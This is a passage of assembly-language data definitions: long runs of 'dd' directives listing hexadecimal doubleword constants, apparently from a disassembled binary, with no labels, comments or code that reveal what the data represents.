0A886AF2h, 0E658F1h, 30207A80h dd 0BF342599h, 0EF4C0700h, 0DF7216D9h, 68A360CFh, 91EAB8B1h dd 0B45D1428h, 746DA216h, 8413D700h, 1BFDA65h, 5FE79D0Fh dd 0DCDDD9D7h, 0F45D3F26h, 40F10012h, 389F45F6h, 0D31100C5h dd 0CCD5DFBEh, 0E00178DCh, 0C1FE3CCAh, 56EC76AEh, 0A5D800A0h dd 78461D34h, 0E407EE47h, 0B7BCC7E5h, 48CD5301h, 0B911FCh dd 0E8783B2Bh, 1DFC7569h, 76676D1Fh, 20A2364Fh, 0A52D2FACh dd 8F321550h, 0F700C8FCh, 422C1AAh, 2C19E0B4h, 0F508A41Ch dd 0A2BD2187h, 0BC2050C1h, 3600EA90h, 1E7639A5h, 1250BF6Dh dd 70AE653h, 6199C584h, 0C8A338A9h, 0DB2AB697h, 7600C029h dd 4B193CCFh, 7CF570E2h, 0E4C4002Ah, 0DEA04ACAh, 4D004FB7h dd 0BD726DAAh, 0C9A9E5BEh, 0A9819781h, 34E33FE9h, 79FCF0B4h dd 3059B700h, 7FD1FD4Bh, 0C0F4E84Ch, 78311221h, 80F6DFF5h dd 0B3952000h, 59E6511Eh, 81C9F538h, 3E44C24h, 3BA932DFh dd 2B9D3E3h, 6E0898EBh, 4350C0h, 8F1232E7h, 5B9C9B7h, 0DF0E9A05h dd 0A41C2E75h, 0C1BE00E3h, 9FD40416h, 69A34486h, 68C1B607h dd 0CF039B4Bh, 2050E6A7h, 1A00EA4Eh, 0C57CD990h, 43CA39h dd 0D3C0404Ch, 19729C7Ah, 48DF6100h, 7FBDCCD8h, 20943EA0h dd 787C6D80h, 6680F5B2h, 0C7002FE6h, 1B4E0B36h, 526AB0Ch dd 0E0E66CBCh, 5B70C013h, 0F948ADBBh, 8F8C00A7h, 30975014h dd 0B64D0712h, 24B9CE0Bh, 80318556h, 2051A19Fh, 3C31CD02h dd 602CE7B1h, 732439h, 0BBB7C3E3h, 0EC75FB91h, 93403000h dd 6D9EABC6h, 0A73F00D2h, 213BDEE8h, 153F0CD4h, 90FD8123h dd 99373340h, 0F13160CAh, 2A83004Dh, 943F88BCh, 0F00F77A4h dd 0E0759768h, 51661959h, 79730747h, 8FEF98C4h, 0EED028A0h dd 0C101E06Eh, 0D3CBDC9h, 0A4F43985h, 66DD0386h, 0A31B5F2Ah dd 3AFCCEF0h, 0ED00A098h, 0D29ED18Ah, 0EAE35763h, 0AE550048h dd 35B1CB5h, 0C34893F6h, 4A900D1h, 0C963123Dh, 0D44B0045h dd 0C71F4898h, 58002CD7h, 3AE7F6DAh, 7D6908AEh, 0E9210024h dd 0B2C4A49Ch, 26002E15h, 2A1A9522h, 4854CFF7h, 17029B44h dd 1C42FCA5h, 0AE7D70C0h, 0E2B62267h, 5B698680h, 2E6AFAA7h dd 179F93h, 162B8E27h, 7201C551h, 0C0D39EBFh, 0BBE4DE7Dh dd 56F103E6h, 1F4DFFFAh, 0FC1B97D8h, 7377CF00h, 83B16A42h dd 6EF3000Ch, 710DFA27h, 0D6005701h, 0D893749Bh, 709BAF6h dd 59C6E5AAh, 81D0F03Eh, 21008E39h, 0B8B3C010h, 34980Eh dd 0D4FA35D9h, 0ECA7BC18h, 0FE26C500h, 68E106C4h, 7B8615B0h dd 0A050C8F5h, 3C0F2E9h, 92D6172Eh, 0F9889A74h, 276058D4h dd 37FA3A41h, 91EA1Fh, 0FF08B0F6h, 6B0C7839h, 0B419500h dd 9C93EE9Bh, 96F1009Eh, 1EA6439Dh, 207ADB3Ah, 92A1A8C0h dd 959A79h, 3DF15ACEh, 14D9F8F6h, 0D8F5C100h, 12EFB1B5h dd 17650EDDh, 2E80226Ch, 4CF1841Bh, 10D3Fh, 75854941h dd 645B150h, 64F7F627h, 6579609Fh, 6791F205h, 0A2871A5Ah dd 9B500330h, 31801883h, 561809FCh, 26A8CB04h, 12C5DA4Eh dd 8047170Eh, 24B1615Dh, 677A9Bh, 0AEA6F05Ch, 0B413B0C1h dd 0CEF96F00h, 978B1806h, 0E3830088h, 2003FF56h, 517813EAh dd 48CAF300h, 0E5F2972Dh, 0C882004Ah, 504B8786h, 3E505114h dd 49481AA8h, 0E6E2009Ch, 0A3BB2FB8h, 0A00A3FB3h, 0F0F13D14h dd 56D96E00h, 0E8C983EBh, 7C01467Bh, 0B9CD0A06h, 80503C49h dd 473188h, 0FD4A522Dh, 1E512F6Dh, 3B0D3001h, 0C804C241h dd 89402880h, 0E081FF84h, 0A900AE78h, 0C65D05C9h, 19DA83h dd 0F06AE5D3h dd 806EC3F5h, 0FC50ED28h, 1E073E3Ch, 0BF4AC815h, 0B11DE9F1h dd 0B987840h, 43DDFBh, 0B9CB5BA1h, 0AA7D1F8h, 8B58C903h dd 0ABCEA3D8h, 0F1E1D146h, 44D498DBh, 0E7F2003Eh, 0EBB6849Dh dd 0F4008349h, 0A157A97Fh, 0B820D8h, 399628B4h, 3953556h dd 9E07D178h, 908F4FDFh, 0B5A041C7h, 0AD3BAE3h, 0C5815048h dd 49E581ACh, 200B9986h, 0AB0001E4h, 0F63B4611h, 3CF261h dd 7EC9DCACh, 0A52A9DCAh, 5AD23Eh, 0D8F9F73Eh, 580FE15h dd 3CE4940Ah, 612C0C1h, 0ED00B1D4h, 2126C819h, 309146BCh dd 5A203648h, 0B61414CAh, 0D0CBEDh, 9F5E3115h, 73562h dd 6A1F9EEEh, 0C4C7F994h, 0B58F4C00h, 5698C232h, 32B70ACh dd 0FA42BC10h, 31816893h, 4580C852h, 0C27FB000h, 6F03C51h dd 2E7D09h, 28C8E733h, 0F6842687h, 0BF0E0F03h, 911F82F5h dd 0F0D31AF0h, 4890DEB6h, 0C6000D13h, 0B7DA9DA7h, 5072790Ah dd 0E08E0D00h, 0C86DF369h, 0E7880007h, 0B2D7AE96h, 2B00ADF8h dd 206F1A04h, 5C9536C0h, 5900DEA4h, 0C32F5815h, 0EB03413Dh dd 2EA226E5h, 0F7C0AFD0h, 0F589364Dh, 37D408Eh, 0F246C03Dh dd 35DCBB09h, 55F8A900h, 0BF7A74DDh, 837E0FE0h, 0D1C02E95h dd 0C7CAB65Eh, 854FA500h, 11DEBC1Eh, 48B20004h, 60C86219h dd 39007F2Eh, 0C249B508h, 0F6A43595h, 0DA4700CAh, 0A93FE228h dd 7400F543h, 0C2CFCBD9h, 0BFF197h, 607720B2h, 0A5C49F6Bh dd 39004798h, 0FF14E6CEh, 18F7687h, 0B7A2AFA1h, 0E301AAD1h dd 29E59000h, 343CE933h, 0F9D0020h, 90F9F09Bh, 0FE606F25h dd 0FA802611h, 283E0E86h, 0FC4059h, 319C7E02h, 9E28D89Dh dd 4E0CA499h, 21385130h, 227400A6h, 0D976CE42h, 2E00784Fh dd 9B5ED0E5h, 75B79194h, 77DE0196h, 701451C1h, 64CEF8FFh dd 0F1135600h, 8DA4ED4Bh, 0E9AC000Ah, 0FA1BD6E4h, 0B374F99Bh dd 0DD789900h, 219AB790h, 82880080h, 1D9BFEE8h, 5B79BA3Fh dd 4869493Dh, 0AE2A0CFDh, 382E3077h, 0E9000322h, 68AA53E7h dd 72338B34h, 29C421B6h, 80D43CC8h, 32F8640Bh, 480015F7h dd 40AD23A1h, 75EF9h, 0D8F2F366h, 786BC76Eh, 0B5EB4A00h dd 1EB4C40Ch, 4E8D008Ah, 24BB3BFAh, 4300DBC5h, 0C6C79104h dd 1E73ADFFh, 0C069100Ah, 6CFE5B26h, 0B11CF17Ch, 0AFC08002h dd 0EAD9A425h, 0C0DF0071h, 1901F210h, 5F72C259h, 0E9BF302Ch dd 0F3B01100h, 0F0B752Bh, 0B50468EBh, 78D1A280h, 3E0054F2h dd 20A52926h, 14F48BEh, 0BBD29566h, 7007E9ECh, 0C300CE84h dd 17A912E1h, 7DD6AD7h, 0C2C48EF4h, 6FA1D0BAh, 761DF80Fh dd 0C1800372h, 25FBBED3h, 3E8B24B4h, 0B350001Dh, 48F196E0h dd 0D80FA87Fh, 60EC5C02h, 562FA025h, 0AE9D002Ah, 0C7F7F286h dd 9C0039CAh, 1EE1B0FAh, 129E6364h, 0E4E306h, 0B39DB610h dd 930139D2h, 0EBCC96CEh, 88FF9EF6h, 0FD7719h, 135507FEh dd 0A45E362Bh, 39BB2200h, 21433A7Fh, 0E57000D7h, 908971F3h dd 7602A4D0h, 0A6359DE4h, 577C48D4h, 60B2004Dh, 745A82DCh dd 0B7904359h, 24B1089h, 844E0FACh, 7E81CE82h, 0E518180Fh dd 866D008Eh, 15EBD529h, 5102F67Fh, 9F59B4Dh, 698FC021h dd 0C46800E5h, 0A68481DDh, 751F63F2h, 700038BFh, 90CDE1E0h dd 607C303Dh, 12825978h, 0D4643Ah, 0DFFA2CB2h, 7CD3DDF3h dd 7C57F072h, 905C6022h, 0E5DB5E9Fh, 9CE16F2Ah, 627B661Bh dd 0FAD7C048h, 4D6C1D01h, 2FC940AAh, 0F64394FDh, 6873B626h dd 0D3A2B300h, 62D53Eh, 617E9F91h, 0B444AC9Bh, 49C83800h dd 0AF65A103h, 622600C0h, 0AAAD7EEFh, 0DA001DD0h, 81258CAh dd 3F1092A9h, 7900BD3Ch, 0E14B7375h, 0CF068154h, 0B16CF9D1h dd 826F1390h, 0B244008Dh, 0A5919F9Dh, 0AE62AC00h, 0B17FBDD2h dd 53C90446h, 0C00A4180h, 0D176F739h, 45E82B00h, 15581B21h dd 0C74A00F0h, 383D636Fh, 0E70161C1h, 0B1BE5226h, 0B9DC927Fh dd 0EB49001Eh, 0F39AE329h, 8E075BD5h, 23860187h, 9CB59420h dd 0E04801EDh, 2CACD9F5h, 0E45E7042h, 8B1D2700h, 530510F9h dd 324F0EAh, 382EEF16h, 45C18412h, 17186082h, 1B5AAE1Ch dd 0C831A900h, 69D256h, 0D902A6D8h, 73DF4DE8h, 9296DE02h dd 0C2BF9AA7h, 723C0BDh, 33870F10h, 58602E5Dh, 0B2770305h dd 4402D100h, 5762EE13h, 51800425h, 0C0D06621h, 87E98F54h dd 0FA0714EAh, 0A7867F6h, 5B02FF40h, 2C67C84h, 0B4A8865h dd 0B468F21Bh, 73581AA2h, 6B30782Ch, 55CB787Ah, 4D920036h dd 5C744127h, 0EC0065D0h, 59543349h, 0F0F68FDh, 0E3DF687h dd 38828EE0h, 65493430h, 395D002Ch, 0CE08E891h, 6FF13DECh dd 8315E080h, 0B5253FE7h, 43B9D61Eh, 4CCE00F9h, 0CC953935h dd 0C0CA009Ch, 167F294Dh, 0DF2CDE63h, 5F01A81Fh, 8E023C6Bh dd 20C8D4h, 0D24D39A8h, 7CC3FFF3h, 0D1BD80C4h, 8F920440h dd 24587218h, 30E12C2Ch, 0EB09500h, 16779A98h, 0BF090878h dd 84E84C02h, 7D64C8E1h, 0F23600D4h, 4A0D30Ch, 0C001AA60h dd 4265AC87h, 1823C729h, 0BCAB840Fh, 6C0FECFh, 0E48597D9h dd 0BFF4600h, 0A44454B5h, 90F2C7Ah, 4C582A20h, 0FD14DE1Ch dd 1200CC5Ch, 8D03762Bh, 3D380772h, 0A40F07EFh, 50B0DCF8h dd 48300ED5h, 0DC406C8Eh, 0CF731FE4h, 9DD03131h, 0E995E151h dd 4AE848A7h, 0D1A810Eh, 0B042083h, 1A785885h, 0F9198B65h dd 7C40AD62h, 0DA018287h, 7DEDF75Fh, 6E5558Ah, 452BDC40h dd 3E88A820h, 7F7C4893h, 0D2416537h, 69E06162h, 9F13B0B7h dd 8846EAE0h, 1129490h, 96390C85h, 8123420Eh, 9ACA3349h dd 11A05FBEh, 7098F0h, 2D22325Bh, 623B0423h, 4BB14500h dd 0EFBB564Fh, 3401007Bh, 0A75B0AA5h, 0D20099B3h, 53D36010h dd 0DCF4F3h, 7A2C254h, 7889CF35h, 0A600EDE2h, 0CDB02D65h dd 0E055668h, 7902B314h, 7FBFE940h, 0AD009391h, 55DBF5F4h dd 390924ACh, 0AA002E5Ah, 52A3B5E4h, 79384414h, 290C876Ah dd 3E00910Bh, 0D02FAh, 777D1EBAh, 4FF9E788h, 0B92FB800h dd 5BA2652Ch, 500A03DBh, 414746D8h, 0B371FD90h, 0B74839h dd 2BAD088Fh, 6D8DFFh, 613E66DAh, 0A76AD3F6h, 200BA7Fh dd 53F22DF7h, 7B0188h, 0BBD9D078h, 7A599535h, 0E1F89A02h dd 85E68E04h, 94C05FF8h, 49C62Fh, 0E06892EEh, 0B726AAA9h dd 0A6875800h, 0C216DE0Bh, 0B0D40051h, 0A3099E3Fh, 5E0EEC95h dd 603BBC46h, 6E144A0Bh, 0A02F0021h, 0FF0A7EB2h, 8C5856A5h dd 992383A0h, 0E3DFF2B3h, 6E01C08Ch, 4BB62E04h, 4A6A0F88h dd 0F697A340h, 1F3FD0AFh, 9C940235h, 0E05907A1h, 1811779Ch dd 11AB25A0h, 7607958Bh, 87347C2Eh, 49714652h, 930837E0h dd 3D5FC07h, 0A0F9DFDAh, 99F653Ch, 113060B0h, 0A5486F98h dd 0C576A006h, 191C6Ch, 2719427Eh, 0B4BCB0D6h, 0AB453917h dd 3C140214h, 0A9D0837Bh, 2EE58FB5h, 63B4EE79h, 2F99BDBh dd 619420A1h, 0C2C8C000h, 955FF174h, 9C0B036Bh, 541C6E62h dd 0E60540D1h, 0B4B01050h, 0E95B25h, 4344CB34h, 7D383E41h dd 4A6630F4h, 85462C18h, 8103E8C7h, 563499D1h, 0D57870h dd 95D472ACh, 7825796Fh, 1200D27Ch, 0F8AD5133h, 4CA9D332h dd 6580D03Ch, 80E79B4Ah, 0EE0C8400h, 17A12F31h, 7BA20068h dd 82FC0446h, 0E12CA3Ah, 5C00808Fh, 0D417D4Fh, 0FB12002Bh dd 44963466h, 0AA12924Dh, 0D081AE3Bh, 6FFC1ED0h, 6DA60005h dd 0A42913F4h, 2012B55Bh dd 60E7AA1h, 0DECFE07Ch, 1CDD0EE3h, 3C84513Ah, 0F4FBCDAh dd 0A089424Ch, 0F2FA6FD4h, 96A7E88h, 7221EF61h, 2BF68203h dd 8EE62FC0h, 12FCAA58h, 0F700FE4Ah, 0DED71A34h, 651B0072h dd 225C3090h, 0D600AC93h, 89DF538Ah, 3FF3C9C7h, 0D0874ACDh dd 0C308D7B2h, 5190360Ah, 0F800972Fh, 0FD9CE335h, 98994F41h dd 20DB00D3h, 27CBCDFAh, 16002AB6h, 0B55BD33h, 0B1046Fh dd 318D2803h, 5E1DA4D7h, 14699300h, 5CC8AF9Ah, 0A52D00EBh dd 8322D13Eh, 280FDD20h, 0E084C2E6h, 0D0BC1A13h, 4C53EA3Bh dd 4D006EA9h, 7C5ACC87h, 51007B90h, 69A06BF1h, 85309h dd 0AE25AF9Fh, 7B02DAB8h, 79C9348h, 0C7FE10F2h, 571BF540h dd 9080C16Dh, 0D39EEDEAh, 9CF19001h, 0BC1358CDh, 38B095D1h dd 306D1FA9h, 4122B000h, 0A0FCF546h, 5A1B00D6h, 87FE4584h dd 9B6FE6EAh, 0D96A8049h, 3AD1604Ah, 700952Fh, 1F9DE17Bh dd 1218569Eh, 0CD597A4Dh, 941B3A30h, 69901030h, 2E30AC5Ch dd 0D26AA171h, 0F4BE0013h, 0AD15FE60h, 0A4009910h, 541D5CCDh dd 0CEF76Dh, 5E9386B4h, 0D1C79294h, 89686F00h, 0E48A754Fh dd 0CE84007Ch, 0C1F17378h, 3900DEBCh, 4B9D0E3Eh, 0B6F468h dd 4403170Ch, 0C872C749h, 0E478F00h, 76B1B9BEh, 0B4AB00DAh dd 12F9B81Fh, 5B01502Ch, 3FCC1E6Bh, 4EC82AAFh, 67350075h dd 0DB31250Bh, 30ECF427h, 34361E00h, 0A1B78489h, 968E0046h dd 2752FD5Ch, 73DAD0Bh, 33998053h, 0BD872B98h, 235E0097h dd 694259DFh, 200043Dh, 1D47F89h, 5B45EFB9h, 5816AC54h dd 0F8C5000Ah, 0AAA2FE53h, 0A06F0056h, 0B2103DEBh, 5A006926h dd 174C7E8Dh, 0A5D5813h, 7928AAFh, 350380B4h, 80431914h dd 1CFF3D39h, 0ED00C9F8h, 89F293A3h, 37BD009Fh, 3B90340Eh dd 0F0A89DECh, 0AC0ACEFAh, 0DCC4135Ah, 8D41B0Ch, 0DC21C070h dd 5AF7ACC6h, 60928B1Bh, 7EFBF871h, 3DD9098h, 40C9E8AEh dd 0C0F5CA5Ah, 8A542FE5h, 0CF27B707h, 4670EB1Fh, 908DECA0h dd 69FE0404h, 909592A4h, 0D381B048h, 2D1F4203h, 30179E30h dd 0D0218809h, 0AA07D339h, 0AF24C2F1h, 814867F1h, 30E1F2E4h dd 31D8937Fh, 0D8E8860Bh, 90398A60h, 6EC799F4h, 1BA22081h dd 130011FEh, 6078AD14h, 5BC9296Ch, 0F203CD5Dh, 0EA94FE58h dd 0C6083050h, 5DA32C21h, 2D516A00h, 5E068FECh, 68AC3B96h dd 9471AAh, 0EEB0AF8Bh, 8D596EA8h, 0CFD36718h, 1968C8F8h dd 889163E1h, 6AE6E81Ah, 0FE619A00h, 6FD2E45Dh, 7D5A038Bh dd 1611919Dh, 0EA5EB4A0h, 0FDE33Ah, 0C5713953h, 1D7D75h dd 0DD665FF4h, 0EB219DEFh, 518D7F00h, 0C6AA4AFBh, 0B1D3000Eh dd 0D527077Dh, 4200D469h, 0EC463814h, 59E708h, 6D1329BDh dd 7E9025A1h, 1FBB543Bh, 5500D193h, 8664F3CBh, 3AC200E5h dd 6A8ABF25h, 0DA000DEFh, 0FD69A326h, 487DD70Fh, 750096CAh dd 4D0712D2h, 0AC00879Dh, 96C1CD22h, 0EE4F92h, 97652446h dd 9173F52Fh, 45E75D03h, 24D834B7h, 0DD86C0h, 35FAC49Ah dd 5C00B909h, 976688A6h, 1EB41D64h, 0C083EB3Bh, 9453BE58h dd 0B7007275h, 21AD0282h, 778879Eh, 8FD84D38h, 46D037C5h dd 5A0039F5h, 28830FA2h, 0E22E207h, 506F06B9h, 3F777A38h dd 0E1006FEDh, 5FC960A1h, 22F8C756h, 612D41D7h, 31BAD803h dd 3C881100h, 7A6BEC73h, 30666048h, 10D19D07h, 900E4400h dd 0B71CADEh, 0AC081C04h, 6E2380CFh, 0C574B16Ah, 400FA37Bh dd 2E3A3F21h, 1B292091h, 0A6E1FBh, 6A5CB856h, 0F5AD0F0Ah dd 0E50098B8h, 0D11B1CB9h, 0B0989CE0h, 0C4F2009Fh, 2F93DBAh dd 0BF1CA871h, 0D4000B2Ch, 0AEF710E5h, 7FE90FEFh, 1640D6FEh dd 63223A66h, 0A8686163h, 94008554h, 6B499B3Bh, 2204094Bh dd 0F3004E99h, 5EF92855h, 1261ED0Ah, 0B587FCBAh, 0E405BB89h dd 60F58C4Ah, 41245800h, 18B7C8Ah, 0CA230A0Bh, 202738D3h dd 0D8006050h, 0CCA75BFDh, 9C3E5h, 10E92AB1h, 0FEFAB52Dh dd 0F2875F00h, 5B0A6F97h, 0EA5500E0h, 0B511E94Bh, 700F399h dd 6AC10FB3h, 0DD638Eh, 2A45902Bh, 82C60E3h, 0AB3E2700h dd 0E8058070h, 1A6F0C2Dh, 9D2F8D9h, 23C46001h, 85D26BE9h dd 0A0CBD852h, 50AAFD40h, 0F1930071h, 88073E15h, 0DB00BF0Ch dd 4E52B5F5h, 3CB21A1Dh, 7C007BC4h, 77D7CFB7h, 4200F016h dd 3BE2ACDEh, 901DCA82h, 0E9D10EDFh, 5EA0415Bh, 3122462Eh dd 2443B49h, 5561D894h, 6554223Eh, 0E5F63848h, 0AE4DCCA0h dd 0E800BE7Dh, 1209724Ah, 2C8AC32h, 81351725h, 0E2E0F09Ah dd 0C2008D93h, 0BB7BF56Fh, 398053DAh, 9200712Ch, 47AC6631h dd 6F003324h, 0E2D7F3B6h, 1A7A1Bh, 0EA624360h, 0A32FB73Fh dd 20EB3903h, 0E2CCF72Ah, 744464Eh, 0F6E7938Fh, 0C6E0E002h dd 7900DC16h, 7418CBCEh, 18CA3520h, 8E098F8Eh, 0CC0623A9h dd 405064F0h, 311C1F29h, 4DC806Eh, 350E9E9Ah, 0FAA06400h dd 7E1428C6h, 52A28321h, 5CC10048h, 0B6123200h, 1AF6AB9Ah dd 0FC011CD1h, 0A9C58323h, 80DCC8ADh, 0F9EEA00Ch, 0BB6E3E1Eh dd 0A0EBCA4Fh, 124A74A8h, 301000A1h, 2B71164Ch, 68048D1Ah dd 5E6EE8D5h, 2C3C0080h, 0E97B0EA5h, 0D4837F36h, 8398A91Ch dd 8C01CE99h, 0FAF8BF65h, 32F89353h, 508700BBh, 3F6E8619h dd 0AF4C0B3Dh, 0A7C10054h, 8C38FFF2h, 85B899h, 5033ABE4h dd 0D7F87FDAh, 0CCB01F00h, 0D085595Ch, 8BDCFD2Eh, 0F86D9853h dd 1B6E031Eh, 70C54119h, 61FA0E00h, 84C3E3DBh, 0D96300C2h dd 0DFF3B4BCh, 1300B3CCh, 4DF6CE82h, 0C15BBFh, 2DCAB646h dd 648CA972h, 0EC32231Fh, 0E8F02A5Bh, 4A81591h, 85C6CF80h dd 66348347h, 0FFFAA6F8h, 5A54BC24h, 29509300h, 1CEB3AA7h dd 9F7406Fh, 38018ABDh, 20346D99h, 0E4FE4944h, 110EB830h dd 7823DB36h, 4685887h, 1C9FE002h, 74409A15h, 2912146Bh dd 0B840DDB5h, 0B2A17796h, 16EEFFh, 0DC32A272h, 0BA3CEB6Bh dd 86B89300h, 503DE896h, 75D6007Eh, 63EFA0C8h, 1043A87h dd 911CDA67h, 1DF2D7C7h, 731C409Ah, 0B8F8EAh, 0F8D424A1h dd 0C810DF1h, 0FD0F0090h, 0BD8D95FFh, 0F543A41Ch, 0B01C40F3h dd 351FF2h, 5CBF701Ah, 595419B9h, 0AC123C7Bh, 8407934h dd 0DA3AB551h, 70CF032Bh, 0CAC53DF0h, 0D6747388h, 68544D1Fh dd 17669CFh, 9323EAD5h, 632BEECh, 3F7B1779h, 0FF008896h dd 0D33D0AFDh, 0A0380Fh, 0B6CFE986h, 7919BF3Ah, 4A3CC707h dd 6BB0CD43h, 2775DDh, 0CCE98ACEh, 0E3F94844h, 0B2000C98h dd 813015Ah, 39FE84h, 0D5CDF086h, 4ECF1682h, 93AD8A2Ch dd 0E6B93300h, 1E37399Bh, 54CDE0Ch, 82FC147Dh, 2CC4F963h dd 99D78D24h, 0ED0BE500h, 38BEE8Ah, 787C0AD6h, 0C6E087B3h dd 800CC55h, 69DC152Fh, 6D7694h, 7DBCDA1Ch, 56C9C890h dd 25009572h, 152E8A5Ch, 1F1B194Ch, 0DF621C7Fh, 7DAD00FCh dd 2597AC76h, 0BC11EA00h, 4F66E2B8h, 0E52A1381h, 0B804067h dd 78CA4503h, 0A5210602h, 0E009FE10h, 72D99Eh, 0C8CFBD96h dd 0C9BE507Ch, 9BA14D0Eh, 93F9E154h, 647038BCh, 2A120366h dd 0FE4D4BA0h, 7840E0BAh, 7300FD99h, 0C6F514E7h, 37B13CBAh dd 8778AFB3h, 1507809Ah, 40069DEh, 7EED1D51h, 24E10243h dd 806053B5h, 95341F83h, 1C0722DCh, 2E298219h, 0E1DF0100h dd 45460054h, 79DEE0F3h, 1100C908h, 0AA3199DDh, 1980D865h dd 88974E67h, 0DE32F0D3h dd 0C81C2324h, 53929F80h, 1D95A4E3h, 3541FABh, 78FB1DB0h dd 90A56282h, 0C04880E7h, 0D003CAAh, 3001DE26h, 2613EC58h dd 2899FD45h, 6D49007Eh, 63215CF3h, 0CE03BC29h, 9EC5CA80h dd 1D69E8CCh, 0C641020Dh, 12381350h, 24E13843h, 66699496h dd 8997E004h, 9D1F00BFh, 1ADC7784h, 0E70CBE2Dh, 105A3425h dd 0A27FC9h, 0D3EEC9Fh, 0F25FF372h, 8C192901h, 5A81201Fh dd 0E1C6D18Eh, 64F99860h, 9E004CB5h, 58F3702Dh, 0C216757h dd 0D0C129DCh, 257E6020h, 206FD629h, 0C034C8EFh, 936111C4h dd 6E7F3380h, 31E6C951h, 7A0C19A9h, 0D81ECAEBh, 6E663FA5h dd 7F295C30h, 0F01DF50h, 0F53CD2C6h, 898A2DEh, 0D89D2175h dd 0C68CDF00h, 1FA3CB10h, 787A0018h, 7EB8AB01h, 191D9D3Ah dd 3495513Bh, 812B00A0h, 33220B37h, 1D867342h, 8703393Dh dd 0B3665676h, 61053A75h, 9DA51FB3h, 93DFC04Eh, 11F6700Ch dd 27A90069h, 2A38042h, 9366781Ch, 21C408h, 0BF278133h dd 857CDED1h, 0E0346900h, 0E2482A17h, 0F991C667h, 0EC5031F4h dd 0C800A2A3h, 0C976ABC4h, 0DC1F7EB0h, 1C0A0029h, 73AD994Bh dd 35E16219h, 21922D08h, 558A015Bh, 0C01FE716h, 27480760h dd 660680ECh, 61DB5B6h, 0E553956Ch, 0F60085Ch, 0B66EA821h dd 0EEFB009Ch, 5998F963h, 52720951h, 776B971Fh, 9DC2FEC2h dd 0B1A8801Ah, 48F3859h, 0E26499D7h, 0C43480A0h, 0FC501131h dd 7419DAECh, 8018625Eh, 80199091h, 1DB7B668h, 0E448C5Ch dd 0B67000A6h, 0B397BD7Ch, 3309D808h, 814C5082h, 8AFF114Dh dd 0B0D6B760h, 68F4E5D7h, 0E5BE000Bh, 2536951Ch, 0C503D376h dd 6646356h, 0B1880002h, 800A12E5h, 980A9D19h, 0EC1AD5CAh dd 0B880D311h, 0CB804327h, 12CC448Ch, 9E27B000h, 13EBBBB2h dd 760A1E3Ah, 56580A9Ch, 808111DCh, 994C1C0Bh, 2C448C25h dd 1C031C5Ah, 15C86E40h, 303B8061h, 0DA319D81h, 3078B8E1h dd 0E0C0F390h, 0B6F76EC2h, 0D2800A44h, 0CC832A5h, 8251307Dh dd 0B137AB00h, 8A2F14E2h, 55E7E02h, 918E4898h, 80CC64FEh dd 6FD8CD08h, 0B1071C98h, 0C05F7E94h, 780B805Fh, 15DB0263h dd 0A4A53477h, 7123D494h, 10DF4D01h, 4218DAC6h, 0D59E88h dd 465E4DDFh, 0D73ABA23h, 0E27E2E0Eh, 45C0D85Dh, 247479B5h dd 62471E9h, 68996373h, 4B026B46h, 0EAC60ADFh, 80107631h dd 2102DFD3h, 7EBA570Ah, 51F482F2h, 18FA0091h, 624CCE56h dd 97407B5Ch, 46741899h, 7606D90Bh, 11582A14h, 404D0910h dd 927C809Eh, 0D22E59D2h, 231890B0h, 4451209Dh, 0CD422A0h dd 0D93DE296h, 2EFE06E5h, 0F07F7A62h, 90385520h, 76A822D8h dd 0BE450890h, 4C8CC2EBh, 1C0E0420h, 620D994Fh, 5A62A27h dd 0C0724A1Ch, 0AB8325EDh, 0E144281Fh, 97AA63C0h, 0A4929674h dd 287046DCh, 0C62B984Eh, 6B11A8A2h, 0DFD69F00h, 36CC4155h dd 537CA902h, 0C427D986h, 0F4C30054h, 7001DFF9h, 0B801D0CBh dd 0D3BF8BD4h, 0F0203EFFh, 47383325h, 7EE10FE8h, 33811017h dd 2F791C91h, 723B01B1h, 0F6D63FE0h, 5311CC0h, 2241D040h dd 5F0AFCD5h, 0B86CAD1Dh, 0F9D27E82h, 20A88335h, 0E93FC30Dh dd 5C609997h, 0FACA44D9h, 0A85AD22Ah, 3603E1E1h, 0B6420244h dd 318C1DA9h, 6AA41094h, 0F9F8E7B6h, 65D218B3h, 97D4701Ch dd 632A6414h, 0C7A700ACh, 7DC119E4h, 0A2E1C031h, 0D8F5C233h dd 44869103h, 882F8FD6h, 24E219DEh, 82B0D45Eh, 0ABC23DA4h dd 0FAD084C0h, 8420B493h, 0AEC7CD20h, 0A9111890h, 9ECE189Dh dd 0E00C3C98h, 48D61253h, 991501BBh, 0F12073F5h, 2C84607Ch dd 2C224480h, 6F8872C7h, 0CD6DA760h, 0B90F0A20h, 0C0CF3D28h dd 0EA7C99EEh, 0A988C0B8h, 457B33D6h, 0D88FC4A8h, 480E4072h dd 6B0B70B5h, 9F0AE4Eh, 78B4231Ch, 95C4917Bh, 7B2E99Fh dd 446FF931h, 4074C9C0h, 0DAB35B54h, 0E2F84206h, 0AA83305h dd 4F6CCD6Bh, 0B137BEF4h, 60F0C1C1h, 189804Ch, 0DFBCD91Ch dd 562B01CEh, 0F573A6C4h, 0FBB9F8E5h, 952DF301h, 30A90A7Eh dd 204840A8h, 0F6017D20h, 4499AAD8h, 0B8489B6Eh, 0E1FB40A9h dd 69579231h, 0C8221B48h, 0C7E7A00h, 7F955B23h, 0BFA920C2h dd 4DA461B5h, 40014907h, 10820B94h, 876140D3h, 0C3600EC4h dd 0E903A68Fh, 0A3239B75h, 193898DCh, 3111187Ch, 9242B0FEh dd 76BC4006h, 7028B3E0h, 1CA31CA7h, 4845D7D8h, 0B4C6D760h dd 0AB802C8Ah, 40C5C474h, 25278C36h, 551024FAh, 92EE0808h dd 0DAE1C40Fh, 8F5841E1h, 1C482118h, 58352608h, 0A0402BC4h dd 5DE31C19h, 7D58D075h, 0FE8E8084h, 6941FFh, 4591E2F2h dd 3D903920h, 0B7E8D700h, 9FD06CC2h, 6A441897h, 0A3C688BFh dd 0D8D83464h, 0D427B561h, 448C8380h, 8D0337CDh, 99C67727h dd 92D0C715h, 78EB1733h, 0FAE4E091h, 9F9D2831h, 0A090ACh dd 0F36D4CD7h, 9BE754DEh, 0B410C324h, 99411D01h, 2C214712h dd 760352E9h, 4E7BE82h, 0F5602944h, 43029564h, 0C7FAA033h dd 7E044906h, 0E19448h, 0FC11410h, 38361D0Eh, 5303A7E4h dd 5F03A79h, 456598E7h, 0BAEC1099h, 23A90096h, 0FBBC9B1Bh dd 43602092h, 60AC900h, 1D605EDh, 0CF3800F3h, 47C71B28h dd 2402FC7Dh, 0A42BD084h, 0F5784057h, 7BFD16B1h, 23CC3AC9h dd 127D3F77h, 82B242Ah, 0CE8A9020h, 0F0B2E4C9h, 10202268h dd 42D0F063h, 